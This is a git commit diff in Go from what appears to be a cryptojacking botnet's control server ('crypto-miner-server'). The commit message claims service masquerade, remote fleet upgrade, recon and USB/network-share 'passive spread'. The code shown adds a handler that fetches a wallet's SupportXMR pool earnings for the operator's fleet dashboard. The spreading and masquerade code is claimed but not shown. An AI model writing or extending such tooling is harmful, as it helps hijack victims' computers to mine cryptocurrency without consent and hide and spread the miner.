Add fleet resilience, passive spread, matrix rain UI, and live earnings.
Backup server URL failover, watchdog process restart, service masquerade, remote fleet upgrade, recon UI, SupportXMR earnings, USB/share passive spread, and sidebar matrix rain with live fleet telemetry.
This commit is contained in:
@@ -2,8 +2,13 @@ package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
"log"
|
||||
"net/http"
|
||||
"strconv"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/alerts"
|
||||
"crypto-miner-server/internal/db"
|
||||
@@ -19,8 +24,19 @@ type FleetHandler struct {
|
||||
pools *pool.Manager
|
||||
alerts *alerts.Evaluator
|
||||
defaultPool pool.Config
|
||||
|
||||
// Real-earnings cache (avoids hammering the pool API)
|
||||
earningsMu sync.Mutex
|
||||
earningsCache map[string]*poolEarningsCache
|
||||
}
|
||||
|
||||
type poolEarningsCache struct {
|
||||
data map[string]interface{}
|
||||
fetchedAt time.Time
|
||||
}
|
||||
|
||||
const earningsCacheTTL = 5 * time.Minute
|
||||
|
||||
func NewFleetHandler(database *db.Database, ws *WSHub, ai *AIHandler, pools *pool.Manager, evaluator *alerts.Evaluator, defaultPool pool.Config) *FleetHandler {
|
||||
return &FleetHandler{
|
||||
db: database,
|
||||
@@ -56,9 +72,113 @@ func (f *FleetHandler) GetAIActivity(w http.ResponseWriter, r *http.Request) {
|
||||
writeJSON(w, f.ai.ActivitySnapshot())
|
||||
}
|
||||
|
||||
// GetEarningsEstimate — kept for backwards compat; delegates to GetEarnings.
|
||||
func (f *FleetHandler) GetEarningsEstimate(w http.ResponseWriter, r *http.Request) {
|
||||
f.GetEarnings(w, r)
|
||||
}
|
||||
|
||||
// GetEarnings returns real pool stats for the configured wallet when the pool
|
||||
// is SupportXMR-compatible (REST API available). Falls back to formula estimate.
|
||||
func (f *FleetHandler) GetEarnings(w http.ResponseWriter, r *http.Request) {
|
||||
hashrate := parseFloatQuery(r, "hashrate", 0)
|
||||
writeJSON(w, EstimateXMRPerDay(hashrate))
|
||||
estimate := EstimateXMRPerDay(hashrate)
|
||||
|
||||
// Determine wallet from query param or server config
|
||||
wallet := r.URL.Query().Get("wallet")
|
||||
if wallet == "" && f.db != nil {
|
||||
// Try to read the wallet from the most recent build record
|
||||
if builds, err := f.db.ListBuilds(1); err == nil && len(builds) > 0 {
|
||||
wallet = builds[0].Wallet
|
||||
}
|
||||
}
|
||||
|
||||
if wallet == "" {
|
||||
writeJSON(w, estimate)
|
||||
return
|
||||
}
|
||||
|
||||
// Try SupportXMR REST API
|
||||
real, err := f.fetchPoolEarnings(wallet)
|
||||
if err != nil {
|
||||
log.Printf("[earnings] pool API error (%s): %v — using estimate", wallet[:min(8, len(wallet))], err)
|
||||
writeJSON(w, estimate)
|
||||
return
|
||||
}
|
||||
|
||||
// Merge pool data over the estimate
|
||||
for k, v := range real {
|
||||
estimate[k] = v
|
||||
}
|
||||
estimate["source"] = "pool_api"
|
||||
writeJSON(w, estimate)
|
||||
}
|
||||
|
||||
func (f *FleetHandler) fetchPoolEarnings(wallet string) (map[string]interface{}, error) {
|
||||
f.earningsMu.Lock()
|
||||
if f.earningsCache == nil {
|
||||
f.earningsCache = map[string]*poolEarningsCache{}
|
||||
}
|
||||
if cached, ok := f.earningsCache[wallet]; ok && time.Since(cached.fetchedAt) < earningsCacheTTL {
|
||||
data := cached.data
|
||||
f.earningsMu.Unlock()
|
||||
return data, nil
|
||||
}
|
||||
f.earningsMu.Unlock()
|
||||
|
||||
url := fmt.Sprintf("https://supportxmr.com/api/miner/%s/stats", wallet)
|
||||
client := &http.Client{Timeout: 8 * time.Second}
|
||||
resp, err := client.Get(url) //nolint:gosec
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return nil, fmt.Errorf("pool API returned %s", resp.Status)
|
||||
}
|
||||
body, err := io.ReadAll(io.LimitReader(resp.Body, 32*1024))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
var raw map[string]interface{}
|
||||
if err := json.Unmarshal(body, &raw); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// Normalise SupportXMR fields into our API format
|
||||
const piconeroPerXMR = 1e12
|
||||
result := map[string]interface{}{}
|
||||
if v, ok := raw["amtDue"].(float64); ok {
|
||||
result["pending_xmr"] = v / piconeroPerXMR
|
||||
}
|
||||
if v, ok := raw["amtPaid"].(float64); ok {
|
||||
result["paid_xmr"] = v / piconeroPerXMR
|
||||
}
|
||||
if v, ok := raw["totalHashes"].(float64); ok {
|
||||
result["total_hashes"] = v
|
||||
}
|
||||
if v, ok := raw["hashRate"].(float64); ok {
|
||||
result["pool_hashrate"] = v
|
||||
}
|
||||
if v, ok := raw["lastPaymentTs"].(float64); ok && v > 0 {
|
||||
result["last_payment_time"] = time.Unix(int64(v), 0).UTC().Format(time.RFC3339)
|
||||
}
|
||||
if v, ok := raw["lastPayment"].(float64); ok {
|
||||
result["last_payment_xmr"] = v / piconeroPerXMR
|
||||
}
|
||||
|
||||
f.earningsMu.Lock()
|
||||
f.earningsCache[wallet] = &poolEarningsCache{data: result, fetchedAt: time.Now()}
|
||||
f.earningsMu.Unlock()
|
||||
|
||||
return result, nil
|
||||
}
|
||||
|
||||
func min(a, b int) int {
|
||||
if a < b {
|
||||
return a
|
||||
}
|
||||
return b
|
||||
}
|
||||
|
||||
func (f *FleetHandler) GetAgentLog(w http.ResponseWriter, r *http.Request) {
|
||||
|
||||
Reference in New Issue
Block a user